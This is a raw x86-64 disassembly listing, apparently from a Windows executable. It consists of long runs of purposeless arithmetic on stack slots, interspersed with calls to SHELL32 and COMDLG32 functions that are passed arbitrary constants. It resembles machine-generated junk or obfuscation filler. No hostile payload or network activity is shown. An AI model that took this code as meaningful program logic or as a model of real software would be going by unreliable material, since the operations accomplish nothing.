mov rax, qword [rsp + 0xd750]
movzx eax, word [rax]
mov word [rsp + 0x2e8c], ax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c90]
shl eax, cl
mov word [rsp + 0x2e74], ax
mov rax, qword [rsp + 0xde20]
mov rcx, qword [rsp + 0xa448]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc670], rax
movsx eax, byte [rsp + 0x56a]
mov rcx, qword [rsp + 0xd2c0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe3c8]
mov byte [rcx], al
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6998]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d70], eax
movzx eax, word [rsp + 0x2a88]
mov word [rsp + 0x2e90], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x14019f1a0], ax
mov rax, qword [rsp + 0xc120]
mov rcx, qword [rsp + 0xddf8]
mov qword [rsp + 0xe910], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe910]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9ca8], rax
mov rax, qword [rsp + 0xdd30]
mov rax, qword [rax]
mov qword [rsp + 0xe918], rax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb98]
mov qword [rsp + 0xe920], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe920]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xb860], rax
mov rax, qword [0x14019f0c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x26ac], ax
mov rax, qword [rsp + 0xd9a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa478]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcef0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6998]
mov ecx, dword [rsp + 0x6b68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x630c], eax
mov rax, qword [rsp + 0xe0c8]
movzx eax, byte [rax]
mov byte [rsp + 0x574], al
mov rax, qword [rsp + 0xe708]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6e34]
mov dword [rsp + 0x5ce8], eax
mov rax, qword [rsp + 0xe6d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe760]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0xe448]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d00]
or eax, ecx
mov word [0x14019d234], ax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd148]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2580], ax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2e48], ax
mov rax, qword [rsp + 0xe368]
mov qword [rsp + 0xe928], rax
mov rax, qword [rsp + 0xd4c8]
mov rcx, qword [rsp + 0xb698]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0f0], rax
mov rax, qword [rsp + 0xe340]
movzx eax, byte [rax]
mov byte [rsp + 0x575], al
mov rax, qword [rsp + 0xd118]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6fe4]
mov dword [rsp + 0x6f30], eax
mov rax, qword [rsp + 0xd7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e8c], ax
lea rax, [rsp + 0x1494]
mov qword [rsp + 0xe930], rax
mov rax, qword [rsp + 0xbb08]
mov qword [0x14019f420], rax
lea rcx, [rsp + 0xd140]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x700c], eax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdbd0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b1c], ax
mov rax, qword [rsp + 0xd660]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd128]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb770], rax
mov rax, qword [rsp + 0xe5c8]
mov rcx, qword [rsp + 0xd660]
mov qword [rsp + 0xe938], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe938]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xdd78], rax
movzx eax, byte [rsp + 0x519]
mov byte [rsp + 0x576], al
mov rax, qword [0x14019f0f8]
mov rcx, qword [rsp + 0xe850]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9e28], rax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x553], al
mov rax, qword [rsp + 0xdbc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x61cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5850], eax
mov rax, qword [rsp + 0xd960]
mov rcx, qword [rsp + 0xdf20]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6fdc], eax
movsx eax, word [rsp + 0x1af8]
movsx ecx, word [0x14019f3f8]
add eax, ecx
mov word [0x14019f3bc], ax
mov rax, qword [rsp + 0xe220]
movzx eax, word [rax]
mov word [rsp + 0x2e94], ax
movzx eax, word [rsp + 0x2c84]
mov rcx, qword [rsp + 0xdbf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2df0], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2da4]
sub eax, ecx
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0xdff8]
mov rcx, qword [rsp + 0xd9a0]
mov qword [rsp + 0xe940], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe940]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9c30], rax
mov rax, qword [rsp + 0xe8a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xdd50]
mov qword [rsp + 0xe948], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe948]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6774], eax
movzx eax, byte [rsp + 0x53f]
mov byte [rsp + 0x577], al
mov rax, qword [rsp + 0xe220]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1994]
or eax, ecx
mov word [rsp + 0x1010], ax
lea rcx, [rsp + 0x1fc60]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x6dd8], eax
movzx eax, word [rsp + 0x2d34]
mov rcx, qword [rsp + 0xe2a8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d04], ax
mov rax, qword [0x14019f050]
mov rcx, qword [rsp + 0xde88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019f358], rax
mov r9d, 0x92
mov r8d, 0xa0
mov edx, 0xd5
mov rcx, qword [rsp + 0xd5b8]
call qword [sym.imp.SHELL32.dll_SHUpdateImageW]
mov rax, qword [rsp + 0xd558]
mov qword [rsp + 0xe950], rax
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [0x14019f300]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd3d0], rax
mov r8d, 0xeb
mov rdx, qword [rsp + 0xcf90]
mov rcx, qword [rsp + 0xe958]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xdb80], rax
lea r8, [rsp + 0x6e90]
lea rdx, [rsp + 0x1e078]
mov ecx, ILIsParent
call qword [sym.imp.SHELL32.dll_SHGetImageList]
mov dword [rsp + 0x6bc4], eax
mov rax, qword [rsp + 0xdd90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe238]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xaca0], rax
movzx eax, word [rsp + 0x1d98]
movzx ecx, word [rsp + 0x2c28]
or eax, ecx
mov word [rsp + 0x2b60], ax
mov eax, dword [rsp + 0x6f98]
movzx ecx, al
mov eax, dword [rsp + 0x6eb4]
sar eax, cl
mov dword [rsp + 0x6db4], eax
movzx eax, byte [rsp + 0x513]
mov byte [rsp + 0x578], al
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc1e0]
shl rax, cl
mov rcx, qword [rsp + 0xe880]
mov qword [rcx], rax
lea rax, [0x14019ef9b]
mov qword [rsp + 0xe960], rax
mov rax, qword [rsp + 0xdd50]
mov eax, dword [rax]
mov dword [0x14019f428], eax
movsx eax, word [rsp + 0x2bfc]
mov rcx, qword [rsp + 0xe148]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2dc4], ax
lea rax, [rsp + 0x1c10]
mov qword [rsp + 0xe968], rax
movzx eax, word [0x14019f210]
mov rcx, qword [rsp + 0xd228]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d98], ax
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdc78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcec0], rax
mov rax, qword [rsp + 0xe328]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe3c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb5], al
mov rax, qword [rsp + 0xdff8]
movzx ecx, al
mov rax, qword [rsp + 0xe280]
shr rax, cl
mov qword [rsp + 0x98e0], rax
mov eax, dword [rsp + 0x6d4c]
mov dword [rsp + 0x7010], eax
movsx eax, word [rsp + 0x2120]
movsx ecx, word [rsp + 0x1c58]
or eax, ecx
mov word [rsp + 0x2e60], ax
movzx eax, word [rsp + 0x2cec]
movzx ecx, word [rsp + 0x2db4]
shl eax, cl
mov word [0x14019d1c4], ax
mov rax, qword [rsp + 0xd780]
mov rcx, qword [rsp + 0x9ef8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd320], rax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x2e98], ax
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x540]
and eax, ecx
mov byte [rsp + 0x501], al
lea rax, [rsp + 0x5ac4]
mov qword [rsp + 0xe970], rax
mov eax, dword [rsp + 0x6e9c]
mov ecx, dword [0x14019d1dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x630c], eax
movsx eax, byte [rsp + 0x544]
movsx ecx, byte [rsp + 0x51b]
sub eax, ecx
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0x9a70]
mov rcx, qword [rsp + 0xd4c0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x90e8], rax
mov rax, qword [rsp + 0xdb68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b68]
sar eax, cl
mov word [rsp + 0x2da0], ax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14019d238], ax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov qword [rsp + 0xe978], rax
mov rax, qword [rsp + 0xdeb0]
mov rcx, qword [rsp + 0xd758]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xdeb0]
mov qword [rcx], rax
movsx eax, word [rsp + 0x26ac]
movsx ecx, word [rsp + 0x1c10]
add eax, ecx
mov word [rsp + 0x2a84], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdca8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x20bc], ax
mov rax, qword [rsp + 0xe1a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5ea4], eax
mov rax, qword [0x14019f0f8]
mov rax, qword [rax]
mov qword [rsp + 0xe980], rax
mov rax, qword [rsp + 0xd2c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x535]
add eax, ecx
mov rcx, qword [rsp + 0xe340]
mov byte [rcx], al
mov rax, qword [rsp + 0xe8b0]
mov rax, qword [rax]
mov qword [rsp + 0xe988], rax
mov rax, qword [0x14019f028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d0c]
sar eax, cl
mov rcx, qword [0x14019f028]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a30]
movzx ecx, word [rsp + 0x2da8]
shl eax, cl
mov rcx, qword [rsp + 0xd700]
mov word [rcx], ax
mov rax, qword [rsp + 0xda60]
mov rcx, qword [rsp + 0xe198]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6ef8], eax
movzx eax, byte [rsp + 0x2e4]
movzx ecx, byte [rsp + 0x4ee]
and eax, ecx
mov byte [rsp + 0x3b3], al
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0x94a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd3d0], rax
mov rax, qword [0x14019f3b0]
mov rax, qword [rax]
mov qword [rsp + 0xe990], rax
mov rax, qword [rsp + 0xd118]
mov rcx, qword [rsp + 0xcfb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x61b8], eax
mov rax, qword [rsp + 0xe2f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x158], al
mov rax, qword [0x14019f028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2d5c]
shl eax, cl
mov word [rsp + 0x1b44], ax
lea rcx, [rsp + 0x20890]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x700c], eax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
mov word [0x14019f42c], ax
lea rcx, [rsp + 0x1e880]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0xe998], rax
mov rax, qword [rsp + 0xe770]
mov rcx, qword [rsp + 0xd870]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd500], rax
movzx eax, word [rsp + 0x22a8]
mov word [rsp + 0x2e9c], ax
mov rax, qword [rsp + 0xdcf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xde08]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e20], ax
mov rax, qword [rsp + 0xe080]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdfc0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x98a0], rax
movzx eax, byte [rsp + 0x4e0]
mov byte [rsp + 0x579], al
mov rax, qword [rsp + 0xd198]
mov ecx, dword [rsp + 0x6804]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6978], eax
lea rax, [rsp + 0xc330]
mov qword [rsp + 0xe9a0], rax
movzx eax, word [0x14019f378]
movzx ecx, word [rsp + 0x25c0]
add eax, ecx
mov word [rsp + 0x2d74], ax
mov rax, qword [rsp + 0xddf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb08]
add rcx, rax
mov rax, rcx
mov qword [0x14019f178], rax
lea rax, [rsp + 0x56e]
mov qword [rsp + 0xe9a8], rax
mov rax, qword [rsp + 0xda60]
mov rcx, qword [rsp + 0xe970]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f5c], eax
mov rax, qword [rsp + 0xced0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe598]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x17ac], ax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
and eax, ecx
mov word [rsp + 0x2774], ax
mov rax, qword [rsp + 0xe670]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb78]
mov qword [rsp + 0xe9b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe9b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe428], rax
mov eax, dword [rsp + 0x6ea4]
mov dword [rsp + 0x7014], eax
mov rax, qword [0x14019f180]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x26b]
or eax, ecx
mov byte [rsp + 0x574], al
movsx eax, word [rsp + 0x2b50]
movsx ecx, word [rsp + 0x1810]
sar eax, cl
mov word [rsp + 0x1d0c], ax
mov rax, qword [rsp + 0xd910]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c0c]
sub eax, ecx
mov word [0x14019d23c], ax
mov rax, qword [rsp + 0xdb98]
mov rcx, qword [rsp + 0xe3a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbee8], rax
mov rax, qword [rsp + 0xdfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdda0]
mov qword [rsp + 0xe9b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe9b8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xabd0], rax
mov rax, qword [rsp + 0xd998]
mov qword [rsp + 0xe9c0], rax
lea rcx, [rsp + 0x20890]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x6d40], eax
movsx eax, word [rsp + 0x2ce8]
movsx ecx, word [rsp + 0x2dd4]
or eax, ecx
mov word [rsp + 0x2acc], ax
mov rax, qword [rsp + 0xe7e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6250]
shl eax, cl
mov rcx, qword [rsp + 0xd2f8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x52f]
movsx ecx, byte [rsp + 0x12b]
sub eax, ecx
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xd730]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa478], rax
movzx eax, byte [rsp + 0x3ba]
mov byte [rsp + 0x57a], al
mov rax, qword [rsp + 0xda60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6258], eax
movzx eax, word [rsp + 0x1048]
mov word [0x14019f430], ax
movzx eax, word [rsp + 0x2a3c]
movzx ecx, word [rsp + 0x1168]
xor eax, ecx
mov rcx, qword [rsp + 0xd5f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x2ea0], ax
mov rax, qword [rsp + 0xdd30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xe9c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe9c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xd290], rax
mov rax, qword [rsp + 0xe2f8]
movsx eax, byte [rax]
movsx ecx, byte [0x14019d011]
shl eax, cl
mov byte [rsp + 0x1b2], al
mov eax, dword [rsp + 0x586c]
mov ecx, dword [rsp + 0x6250]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6fc4], eax
mov rax, qword [rsp + 0x9538]
mov qword [rsp + 0xe9d0], rax
movsx eax, word [rsp + 0x2de8]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x13d8], ax
mov rax, qword [rsp + 0xd8b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a78]
add eax, ecx
mov word [rsp + 0x2b18], ax
mov rax, qword [0x14019f048]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9c0]
sub rcx, rax
mov rax, rcx
mov qword [0x14019f238], rax
movzx eax, word [rsp + 0x2af4]
movzx ecx, word [rsp + 0x2ab0]
shl eax, cl
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xcc68]
sar rax, cl
mov qword [rsp + 0xd3d0], rax
lea rax, [0x14019f160]
mov qword [rsp + 0xe9d8], rax
mov rax, qword [rsp + 0xdd48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe308]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x506], al
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xb1c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe5b0], rax
mov rax, qword [rsp + 0xd740]
movzx eax, byte [rax]
mov byte [rsp + 0x57b], al
mov rax, qword [rsp + 0xe198]
mov rcx, qword [rsp + 0xe970]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6348], eax
mov rax, qword [rsp + 0xe0a0]
mov eax, dword [rax]
mov dword [rsp + 0x7018], eax
movzx eax, word [rsp + 0x13dc]
mov word [0x14019f434], ax
movsx eax, word [0x14019d0cc]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2e80], ax
movzx eax, word [rsp + 0x269c]
mov rcx, qword [rsp + 0xe2b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2d08], ax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe250]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12e8], ax
mov rax, qword [rsp + 0x9e28]
mov rcx, qword [rsp + 0x9a70]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c0], rax
mov eax, dword [rsp + 0x7010]
mov dword [rsp + 0x701c], eax
movsx eax, byte [rsp + 0x445]
movsx ecx, byte [rsp + 0x1ae]
shl eax, cl
mov byte [rsp + 0x525], al
mov rax, qword [rsp + 0xe558]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1244]
sub eax, ecx
mov word [rsp + 0x26ec], ax
movzx eax, word [rsp + 0x2abc]
movzx ecx, word [0x14019f3c0]
add eax, ecx
mov word [rsp + 0x2d1c], ax
mov rax, qword [rsp + 0xd478]
mov rcx, qword [rsp + 0xd5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d050], rax
mov rax, qword [rsp + 0xe8b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe3a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd860]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe6d8]
mov rax, qword [rax]
mov qword [rsp + 0xe9e0], rax
mov rax, qword [rsp + 0xe3a8]
mov rcx, qword [rsp + 0x9d98]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xd720]
mov qword [rcx], rax
mov rax, qword [rsp + 0xddc0]
movzx eax, word [rax]
mov word [rsp + 0x2ea4], ax
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x61f8]
shl eax, cl
mov dword [rsp + 0x6eb4], eax
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe370]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4f], al
mov rax, qword [rsp + 0xd9a8]
mov rcx, qword [0x14019f218]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc628], rax
movsx eax, byte [rsp + 0x12c]
mov rcx, qword [rsp + 0xe4b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x519], al
mov rax, qword [rsp + 0xe8a8]
mov rcx, qword [rsp + 0xe7e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14019f0c8], eax
movzx eax, word [0x14019ef94]
mov word [rsp + 0x2ea8], ax
movsx eax, word [rsp + 0x2c8c]
movsx ecx, word [rsp + 0x2d00]
and eax, ecx
mov word [rsp + 0x17ac], ax
mov rax, qword [rsp + 0xd7a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd0c]
or eax, ecx
mov word [rsp + 0x150c], ax
mov rax, qword [rsp + 0xe460]
movzx ecx, al
mov rax, qword [rsp + 0xde18]
sar rax, cl
mov qword [rsp + 0x92c8], rax
movsx eax, byte [rsp + 0x149]
movsx ecx, byte [rsp + 0x262]
shl eax, cl
mov byte [rsp + 0xc5], al
mov rax, qword [rsp + 0xd198]
mov eax, dword [rax]
mov dword [rsp + 0x7020], eax
mov rax, qword [rsp + 0xe428]
mov rcx, qword [rsp + 0xd610]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb028], rax
mov rax, qword [rsp + 0xd2d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x29ac]
sub eax, ecx
mov word [rsp + 0x2bac], ax
mov rax, qword [0x14019f100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xdf78]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d240], ax
lea rax, [rsp + 0xcdc8]
mov qword [rsp + 0xe9e8], rax
movzx eax, word [rsp + 0x2c48]
mov rcx, qword [rsp + 0xcfb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe250]
mov word [rcx], ax
movzx eax, byte [rsp + 0x552]
mov byte [rsp + 0x57c], al
mov rax, qword [rsp + 0xe550]
mov rcx, qword [rsp + 0xd150]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5b24], eax
mov eax, dword [rsp + 0x6d00]
mov rcx, qword [rsp + 0xdd80]
mov qword [rsp + 0xe9f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xe9f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x5954], eax
movsx eax, byte [rsp + 0x3cc]
movsx ecx, byte [rsp + 0x6a]
sar eax, cl
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0xe580]
mov rcx, qword [rsp + 0xc8e8]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xe850]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe6a0]
movzx eax, word [rax]
mov word [rsp + 0x2eac], ax
mov rax, qword [0x14019f220]
movzx eax, word [rax]
mov word [0x14019f438], ax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xaf10]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc338], rax
mov rax, qword [0x14019f050]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdf40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc130], rax
mov rax, qword [rsp + 0xdb70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2120]
sub eax, ecx
mov word [rsp + 0x2bb4], ax
mov rax, qword [rsp + 0xe2b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c84], ax
mov rax, qword [rsp + 0xe0c8]
movzx eax, byte [rax]
mov byte [rsp + 0x57d], al
mov r9d, 0x3a
mov r8, qword [rsp + 0xd1f8]
lea rdx, [rsp + 0x1e920]
mov rcx, qword [rsp + 0xce30]
call qword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [rsp + 0x7024], eax
mov eax, dword [rsp + 0x61b8]
movzx ecx, al
mov eax, dword [rsp + 0x6d20]
shl eax, cl
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd8d0]
mov rcx, qword [rsp + 0xd340]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc8a8], rax
mov rax, qword [rsp + 0xdeb0]
mov rcx, qword [rsp + 0xb860]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe950], rax
movsx eax, word [rsp + 0x2a90]
movsx ecx, word [rsp + 0x252c]
add eax, ecx
mov word [0x14019f2b8], ax
mov rax, qword [rsp + 0xe458]
movzx eax, word [rax]
movzx ecx, word [0x14019f0a4]
add eax, ecx
mov word [rsp + 0x2c58], ax
mov rax, qword [rsp + 0xe198]
mov eax, dword [rax]
mov dword [rsp + 0x7028], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x4ee], al
mov rax, qword [0x14019f2b0]
mov rax, qword [rax]
mov qword [rsp + 0xe9f8], rax
mov rax, qword [rsp + 0xe618]
mov rcx, qword [rsp + 0xe1f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e28], eax
mov rax, qword [rsp + 0xd970]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdd48]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x275], al
lea rax, [0x14019eff0]
mov qword [rsp + 0xea00], rax
mov rax, qword [rsp + 0xce08]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1910]
sar eax, cl
mov word [rsp + 0x2b5c], ax
mov rax, qword [rsp + 0xdca8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c18]
and eax, ecx
mov word [0x14019d244], ax
mov rax, qword [rsp + 0xc048]
mov rcx, qword [0x14019d1c8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c90]
or eax, ecx
mov word [rsp + 0x2e70], ax
lea rdx, [rsp + 0xce30]
lea rcx, [rsp + 0xd2d0]
call qword [sym.imp.SHELL32.dll_ILIsEqual]
mov dword [rsp + 0x6f6c], eax
